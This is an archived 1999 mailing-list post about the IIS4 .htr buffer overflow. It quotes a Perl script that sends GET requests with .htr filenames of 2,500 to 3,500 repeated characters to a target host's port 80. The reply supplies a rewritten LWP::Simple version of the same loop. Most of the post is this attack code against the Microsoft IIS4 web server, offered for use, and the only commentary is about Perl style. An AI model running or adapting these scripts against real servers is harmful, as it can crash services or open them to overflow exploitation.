iis4.htr-2.pl

`Re: Retina vs. IIS4, Round 2, KO  
  
Randal L. Schwartz ([email protected])  
Tue, 15 Jun 1999 16:59:08 -0700   
  
>>>>> "Ryan" == Ryan R Permeh <[email protected]> writes:  
  
Ryan> #!/usr/bin/perl  
Ryan> #props to the absu crew  
Ryan> use Net::Telnet;  
Ryan> for ($i=2500;$i<3500;$i++)  
Ryan> {  
Ryan> $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);  
Ryan> my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";  
Ryan> print "$cmd\n";$obj->print("$cmd");  
Ryan> $obj->close;  
Ryan> }  
  
It's silly to use Net::Telnet for HTTP:  
  
use LWP::Simple;  
for ($i = 2500; $i <= 3500; $i++) {  
warn "$i\n";  
get "http://$ARGV[0]/".('a' x $i).".htr";  
}  
  
--  
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095  
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying  
Email: <[email protected]> Snail: (Call) PGP-Key: (finger [email protected])  
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>  
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me  
`